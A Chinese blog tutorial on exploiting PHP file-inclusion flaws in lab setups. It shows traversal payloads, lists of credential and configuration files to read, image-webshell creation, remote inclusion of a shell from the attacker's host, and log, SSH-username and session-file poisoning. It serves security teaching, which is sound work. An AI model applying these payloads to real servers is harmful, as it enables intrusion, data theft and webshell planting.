前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >渗透测试文件包含漏洞原理与验证(2)——文件包含漏洞利用

渗透测试文件包含漏洞原理与验证(2)——文件包含漏洞利用

原创
作者头像
zhouzhou的奇妙编程
发布于 2024-11-12 02:37:44
发布于 2024-11-12 02:37:44
3670
举报
文章被收录于专栏:渗透测试专栏渗透测试专栏

PHP文件包含漏洞分类

文件包含漏洞可以分为LFl(Local File Inclusion,本地文件包含)和RFI(Remote File lnclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。

远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

本地文件包含

包含同目录下的文件: ?page= test.php

目录遍历:?page=../../test.php

远程文件包含

PHP文件包含漏洞利用

文件包含漏洞

正常访问页面逻辑:

1、1.html

2、点击标签

3、跳转包含文件

攻击者思路: http://127.0.0.1/include/03/index.php?page=xxx.php

读取敏感文件

代码语言:html
AI代码解释
复制
http://127.0.0.1/include/03/index.php?page=C:\windows-version.txt

Windows系统敏感信息:

C:\boot.ini                                        //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml           //lIS配置文件
C:\windows\repair\sam                              //windows初次安装的密码
C:\program Files\mysql\my.ini                      //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD         //Mysql root
C:\windows\php.ini                                 //php配置信息



Linux系统敏感信息:
/etc/passwd                                        //linux用户信息
/usr/local/app/apache2/conf/httpd.conf             //apache2配置文件
/usr/local/app/php5/lib/php.ini                    //php配置文件
/etc/httpd/conf/httpd.conf                         //apache配置文件
/etc/my.cnf                                        //Mysql配置文件

本地包含配合文件上传

已经上传图片木马路径为: /2.jpg

制作图片马:copy 1.jpg/b+1.php/a 2.jpg

访问: http://127.0.0.1/include/03/index.php?page=2.jpg

远程包含shel

allow_url_include开启

访问: http://目标机ip/include/03/index.php?page=http://操作机ip/shell.txt

包含Apache日志文件

找到Apache路径,利用包含漏洞包含日志文件获取Webshell。

Apache两个日志文件:access.log、error.log

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,将请求写入access.log,当发生错误时将错误写入error.log。

各字段分别为:客户端地址、访问者标识、访问者的验证名字、请求时间、请求类型、状态码、发送给客户端的字节数

当发现网站存在包含漏洞,但无webshell文件包含,也无上传点时?

当访问不存在的资源时,apache日志同样会记录。

如果访问:127.0.0.1/include/<?php phpinfo();?>,再包含access.log是否可行?

日志文件包含的攻击重点是什么?

日志默认路径

代码语言:html
AI代码解释
复制
Apache

Apache + Linux日志默认路径
/etc/httpd/logs/access_log    或      /var/log/httpd/access_log

Apache+Windows日志默认路径
XAMPP套件:xampp\apache\logs\access.log
phpStudy套件:phpStudy\Apache\logs\access.log

IIS

IIS6 默认日志文件位置
C:WINDOWS\system32\Logfiles

IIS7 默认日志文件位置
%SystemDrive%\inetpub\logs\LogFiles

Nginx

nginx日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
也可通过其配置文件nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

包含SSH日志文件

把用户名写成"phpinfo",ssh的登陆日志就会把此次的登陆行为记录到日志中

代码语言:html
AI代码解释
复制
ssh'<?php phpinfo();?>'@192.168.136.143

包含session文件

session简介:cookie存在客户端,session存在服务端,cookie-般用来保存用户的账户密码,session一般用来跟踪会话

利用场景:一般存在登陆点位置注册用户

利用条件:

session文件路径已知

session文件路径位置可以通过phpinfo页面来获取:session.save_path参数

也可以猜测常见的一些session存储位置:

代码语言:html
AI代码解释
复制
/var/lib/php/sess_【PHPSESSID】

/tmp/sess_【PHPSESSID】

利用条件:

其中部分内容可控制

访问漏洞页面,在参数中构造payload

然后首要任务就是获取session文件名,可以通过burp抓包查看

文件名就是sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件


本文部分图片摘自深信服安全服务认证工程师课程课件中,为方便个人学习使用,勿作商用!!!!文字内容为自己手打,并非直接搬运!如有侵权,请联系删除!!!

本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。任何未经授权使用本文档中技术信息的行为都是严格禁止的,并可能违反《中华人民共和国网络安全法》及相关法律法规。使用者应当合法合规地运用所学知识,不得用于非法入侵、破坏信息系统等恶意活动。我们强烈建议所有读者遵守当地法律与道德规范,在合法范围内探索信息技术。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PHP文件包含漏洞分类
    • 本地文件包含
    • 远程文件包含
  • PHP文件包含漏洞利用
    • 文件包含漏洞
    • 读取敏感文件
    • 本地包含配合文件上传
    • 远程包含shel
    • 包含Apache日志文件
    • 包含SSH日志文件
    • 包含session文件
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文